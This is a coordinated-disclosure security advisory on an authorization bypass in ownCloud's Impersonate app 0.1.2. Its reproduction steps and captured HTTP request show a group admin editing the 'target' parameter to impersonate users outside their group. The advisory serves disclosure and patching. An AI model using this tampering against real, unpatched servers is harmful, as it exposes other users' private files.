ownCloud 0.1.2 User Impersonation Authorization Bypass

`#############################################################  
#  
# COMPASS SECURITY ADVISORY  
# https://www.compass-security.com/research/advisories/  
#  
#############################################################  
#  
# Product: ownCloud Impersonate  
# Vendor: ownCloud  
# CSNC ID: CSNC-2018-015  
# CVE ID: N/A  
# Subject: Authorization bypass  
# Risk: High  
# Effect: Remotely exploitable  
# Author: Thierry Viaccoz <[email protected]>  
# Date: 29.08.2018  
#  
#############################################################  
  
  
Introduction:  
-------------  
ownCloud [1] is a suite of client-server software for creating file hosting services and using them. An app called Impersonate [2] was created to allow administrators to impersonate other users.  
  
According to the documentation [3], group admins should only be able to access users of the groups they are administrator of.  
  
Compass Security discovered that it was possible for a group admin to impersonate any user, except global administrators.  
  
This way, group admins have access to data of users of other groups, even though they shouldn't.  
  
  
Affected:  
---------  
Vulnerable:  
* Version 0.1.2  
  
Not vulnerable:  
* Version 0.2.0  
  
No other version was tested, but it is believed for the older versions to be vulnerable too.  
  
  
Technical Description  
---------------------  
In order to reproduce the vulnerability, follow the steps below.  
  
Create two groups:  
* group1  
* group2  
  
Create four users as follows:  
* test1; group = group1; group admin = group1  
* test2; group = group1; group admin = no group  
* test3; group = group2; group admin = group2  
* test4; group = group2; group admin = no group  
  
Activate the Impersonate app in Settings > Admin > Apps.  
  
Go to Settings > Admin > Apps > User Authentication, check "Allow group admins to impersonate users from these groups" and add the two groups "group1" and "group2".  
  
Log in with "test1", open the user page and impersonate the user "test2". There, intercept the POST request to /apps/impersonate/user and replace "target=test2" by "target=test3" in the body as shown below.  
  
As a result, the user "test1" will impersonate the user "test3", even though "test1" is only group admin of "group1" and "test3" is not in this group.  
  
Request:  
=========  
POST /apps/impersonate/user HTTP/1.1  
Host: demo.owncloud.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
requesttoken: [CUT]  
OCS-APIREQUEST: true  
X-Requested-With: XMLHttpRequest  
Content-Length: 12  
Cookie: [CUT]  
Connection: close  
  
target=test3  
=========  
  
Response:  
=========  
HTTP/1.1 200 OK  
Cache-Control: no-cache, must-revalidate  
Content-Length: 2  
Content-Security-Policy: default-src 'none';manifest-src 'self';script-src 'self' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data: blob:;font-src 'self';connect-src 'self';media-src 'self'  
Content-Type: application/json; charset=utf-8  
Date: Thu, 15 Mar 2018 15:21:14 GMT  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Pragma: no-cache  
Server: Apache  
Strict-Transport-Security: max-age=15768000; preload  
X-Content-Type-Options: nosniff  
X-Download-Options: noopen  
X-Frame-Options: SAMEORIGIN  
X-Permitted-Cross-Domain-Policies: none  
X-Robots-Tag: none  
X-Xss-Protection: 1; mode=block  
Connection: close  
  
[]  
=========  
  
  
Workaround / Fix:  
-----------------  
Check the authorization consistently to prevent group admins to be able to impersonate users from other groups.  
  
  
Timeline:  
---------  
2018-08-29: Coordinated public disclosure date  
2018-04-17: Release of fixed version 0.2.0  
2018-03-16: Initial vendor response  
2018-03-16: Initial vendor notification  
2018-03-15: Discovery by Thierry Viaccoz  
  
  
References:  
-----------  
[1] https://owncloud.org/  
[2] https://marketplace.owncloud.com/apps/impersonate  
[3] https://doc.owncloud.org/server/10.0/admin_manual/issues/impersonate_users.html  
  
`